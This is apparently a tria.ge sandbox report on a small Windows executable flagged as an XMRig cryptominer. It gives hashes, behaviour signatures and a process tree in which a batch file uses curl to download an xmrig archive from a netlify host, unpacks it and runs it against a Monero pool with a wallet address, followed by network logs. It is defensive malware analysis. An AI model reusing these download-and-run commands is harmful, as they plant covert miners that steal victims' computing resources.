Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
11/03/2024, 21:08 UTC
240311-zy7ywsed31 1011/03/2024, 21:06 UTC
240311-zx53xagd73 1011/03/2024, 21:02 UTC
240311-zvwrfsec3x 1011/03/2024, 21:01 UTC
240311-ztxx5aeb9x 1011/03/2024, 20:59 UTC
240311-zs72psgc56 1011/03/2024, 20:57 UTC
240311-zrmpdaeb3v 1011/03/2024, 20:56 UTC
240311-zqzbsagb66 1011/03/2024, 20:55 UTC
240311-zqlexsgb55 1011/03/2024, 20:54 UTC
240311-zp4j4sgb43 1011/03/2024, 20:53 UTC
240311-zplz3agb32 10Analysis
-
max time kernel
1794s -
max time network
1793s -
platform
windows11-21h2_x64 -
resource
win11-20240221-en -
resource tags
-
submitted
11/03/2024, 21:08 UTC
General
-
Target
test - Copy (7).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Executes dropped EXE 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (7).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (7).exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\UB14ahCH.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
-
DNS1488.netlify.appRemote address:8.8.8.8:53Request1488.netlify.appIN AResponse1488.netlify.appIN A35.156.224.1611488.netlify.appIN A18.192.94.96 -
DNS1488.netlify.appRemote address:8.8.8.8:53Request1488.netlify.appIN A
-
DNS1488.netlify.appRemote address:8.8.8.8:53Request1488.netlify.appIN A
-
GEThttps://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipRemote address:35.156.224.161:443RequestGET /xmrig-6.21.1-gcc-win64.zip HTTP/1.1
Host: 1488.netlify.app
User-Agent: curl/7.79.1
Accept: */*
ResponseHTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 1333
Cache-Control: public,max-age=0,must-revalidate
Cache-Status: "Netlify Edge"; hit
Content-Length: 3336525
Content-Type: application/zip
Date: Sat, 16 Mar 2024 14:56:58 GMT
Etag: "3f561091cdba4bace650b26717533c91-ssl"
Server: Netlify
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Nf-Request-Id: 01HS3W8729ZAFTY6CBZ7V2G2WQ
-
DNS161.224.156.35.in-addr.arpaRemote address:8.8.8.8:53Request161.224.156.35.in-addr.arpaIN PTRResponse161.224.156.35.in-addr.arpaIN PTRec2-35-156-224-161 eu-central-1compute amazonawscom
-
DNSctldl.windowsupdate.comRemote address:8.8.8.8:53Requestctldl.windowsupdate.comIN AResponsectldl.windowsupdate.comIN CNAMEwu-bg-shim.trafficmanager.netwu-bg-shim.trafficmanager.netIN CNAMEdownload.windowsupdate.com.edgesuite.netdownload.windowsupdate.com.edgesuite.netIN CNAMEa767.dspw65.akamai.neta767.dspw65.akamai.netIN A96.17.178.190a767.dspw65.akamai.netIN A96.17.178.175a767.dspw65.akamai.netIN A96.17.178.178a767.dspw65.akamai.netIN A96.17.178.187a767.dspw65.akamai.netIN A96.17.178.185a767.dspw65.akamai.netIN A96.17.178.182a767.dspw65.akamai.netIN A96.17.178.180a767.dspw65.akamai.netIN A96.17.178.177a767.dspw65.akamai.netIN A96.17.178.191
-
DNSself.events.data.microsoft.comRemote address:8.8.8.8:53Requestself.events.data.microsoft.comIN AResponseself.events.data.microsoft.comIN CNAMEself-events-data.trafficmanager.netself-events-data.trafficmanager.netIN CNAMEonedscolprdwus10.westus.cloudapp.azure.comonedscolprdwus10.westus.cloudapp.azure.comIN A20.189.173.11
-
DNS95.221.229.192.in-addr.arpaRemote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
DNSxmr.2miners.comRemote address:8.8.8.8:53Requestxmr.2miners.comIN AResponsexmr.2miners.comIN A162.19.139.184
-
DNS190.178.17.96.in-addr.arpaRemote address:8.8.8.8:53Request190.178.17.96.in-addr.arpaIN PTRResponse190.178.17.96.in-addr.arpaIN PTRa96-17-178-190deploystaticakamaitechnologiescom
-
DNS11.173.189.20.in-addr.arpaRemote address:8.8.8.8:53Request11.173.189.20.in-addr.arpaIN PTRResponse
-
127.0.0.1:49753 -
35.156.224.161:443https://1488.netlify.app/xmrig-6.21.1-gcc-win64.ziptls, http
HTTP Request
GET https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipHTTP Response
200 -
162.19.139.184:2222xmr.2miners.com
-
8.8.8.8:531488.netlify.appdns
DNS Request
1488.netlify.app
DNS Request
1488.netlify.app
DNS Request
1488.netlify.app
DNS Response
35.156.224.16118.192.94.96
-
8.8.8.8:53161.224.156.35.in-addr.arpadns
DNS Request
161.224.156.35.in-addr.arpa
DNS Request
ctldl.windowsupdate.com
DNS Response
96.17.178.19096.17.178.17596.17.178.17896.17.178.18796.17.178.18596.17.178.18296.17.178.18096.17.178.17796.17.178.191
DNS Request
self.events.data.microsoft.com
DNS Response
20.189.173.11
-
8.8.8.8:5395.221.229.192.in-addr.arpadns
DNS Request
95.221.229.192.in-addr.arpa
DNS Request
xmr.2miners.com
DNS Response
162.19.139.184
DNS Request
190.178.17.96.in-addr.arpa
DNS Request
11.173.189.20.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
3.2MB
MD5e27f13ffb2989f290f16f8edd1c80171
SHA1352a34a66152f4998b8d9152356528f980de2ef5
SHA256fa6214ad822c6a70ee064de975608438a55eac4de41a5bb20f7180895e0524f9
SHA512549a1c129ba53006e664b710361b860f9fdd58dc4682b36733fd3d10c36aa80fb28610d47ec18a8e91dad55542a83b58f5df79a8b9928cbe851b3557fde2b06a
-
Filesize
7.9MB
MD57fe01842d8fec7b62705d27636354c7f
SHA16a471bb66cbf9c6e61be7bb75af5ff7d33f1d620
SHA256aa5aa045006070e1781dd6bc25215d363ed1628741207b5f3afdf040ecf36c0c
SHA5121efa8e7e0b5ff37ae3a9c0c52d67b0dd7aaa95713dc6854b032725f50240ee040100990afe93ebdcc9c4abb1ef06b9aecb0b39d4f0c8b09e02f020e064d27567
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
10.8MB